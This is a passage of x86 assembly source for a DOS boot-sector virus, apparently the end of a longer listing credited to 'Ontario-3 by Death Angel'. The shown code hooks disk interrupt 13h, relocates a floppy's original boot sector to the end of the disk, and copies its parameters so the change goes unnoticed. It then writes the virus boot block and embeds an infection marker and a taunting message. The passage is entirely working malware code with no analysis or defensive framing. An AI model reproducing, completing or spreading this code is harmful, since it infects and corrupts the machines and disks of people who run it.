  903.                 jmp     dword ptr cs:oldint13   ; chain to original handler
  904.  
  905. trapint13:
  906.                 cld
  907.                 push    cs
  908.                 push    cs
  909.                 pop     es
  910.                 pop     ds
  911.                 xor     cx,cx
  912.                 mov     dx,cx
  913.                 inc     cx
  914.                 mov     bx,offset endvirus      ; read boot block to
  915.                 mov     ax,201h                 ; buffer at endvirus
  916.                 call    callint13
  917.                 jnc     int13readOK
  918. int13exit:
  919.                 jmp     short exitint13
  920. int13readOK:
  921.                 cmp     word ptr [bx+15h],501Eh ; push ds, push ax?
  922.                 jne     int13skip
  923.                 cmp     word ptr [bx+35h],0FF2Eh; jmp cs: ?
  924.                 jne     int13skip
  925.                 cmp     word ptr [bx+70h],7505h ; add ax,XX75 ?
  926.                 jne     int13skip
  927.                 mov     dh,1
  928.                 mov     cl,3
  929.                 mov     ax,201h
  930.                 call    callint13
  931.                 xor     dh,dh
  932.                 mov     cl,1
  933.                 mov     ax,301h
  934.                 call    callint13
  935. int13skip:
  936.                 cmp     word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
  937.                 je      int13exit               ; don't infect self
  938.                 cmp     word ptr ds:[offset endvirus+0Bh],200h
  939.                 jne     int13exit               ; infect only 512 bytes per sector
  940.                 cmp     byte ptr ds:[offset endvirus+0Dh],2
  941.                 jne     int13exit               ; only 2 reserved sectors
  942.                 cmp     word ptr ds:[offset endvirus+1Ah],2
  943.                 ja      int13exit               ; only 2 sec/track
  944.                 xor     dx,dx   ; calculate new location of boot block
  945.                 mov     ax,word ptr ds:[offset endvirus+13h] ; total sec
  946.                 mov     bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
  947.                 mov     cx,bx
  948.                 div     bx                      ; # track
  949.                 xor     dx,dx
  950.                 mov     bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
  951.                 div     bx
  952.                 sub     word ptr ds:[offset endvirus+13h],cx ; total sec
  953.                 dec     ax
  954.                 mov     byte ptr sectortrack+1,al
  955.                 mov     ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
  956.                 mov     byte ptr sectortrack,al
  957.                 mov     ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
  958.                 dec     ax
  959.                 mov     byte ptr drivehead+1,al
  960.                 mov     byte ptr drivehead,0
  961.                 mov     dx,drivehead            ; move original boot block
  962.                 mov     cx,sectortrack          ; to end of disk
  963.                 mov     bx,offset endvirus
  964.                 mov     ax,301h
  965.                 call    callint13
  966.                 jc      go_exitint13
  967.                 mov     si,offset endvirus+3    ; copy parameters so
  968.                 mov     di,offset bootparms     ; no one notices boot
  969.                 mov     cx,bootsectorentry - bootparms ; block is changed
  970.                 rep     movsb
  971.                 xor     cx,cx
  972.                 mov     dx,cx
  973.                 inc     cx
  974.                 mov     bx,offset bootsector    ; copy virus boot block
  975.                 mov     ax,301h
  976.                 call    callint13
  977. go_exitint13:
  978.                 jmp     exitint13
  979.  
  980. callint21:
  981.                 pushf
  982.                 call    dword ptr cs:oldint21
  983.                 retn
  984.  
  985. callint13:
  986.                 pushf
  987.                 call    dword ptr cs:oldint13
  988.                 retn
  989.  
  990. oldint13        dd      0
  991. drivehead       dw      100h
  992. sectortrack     dw      2709h
  993. YAM             db      '*YAM*',1Ah
  994.                 db      'Your PC has a bootache! - Get some medicine!',1Ah
  995.                 db      'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
  996. save4:
  997. origCSIP        db      0CDh, 020h, 0, 0
  998. origSSSP        dd      0
  999.  
  1000. endvirus:
  1001.  
  1002. viruslength     =       $ - decrypt
  1003.  
  1004. infCOMMAND      db      ?
  1005. infectSYS       db      ?
  1006. readbuffer      db      01Ch dup (?)
  1007. encryptbuffer   db      viruslength dup (?)
  1008.  
  1009.                 end     decrypt
  1010. -------------------------------------------------------------------------------
  1011.                                                                              DA
  1012.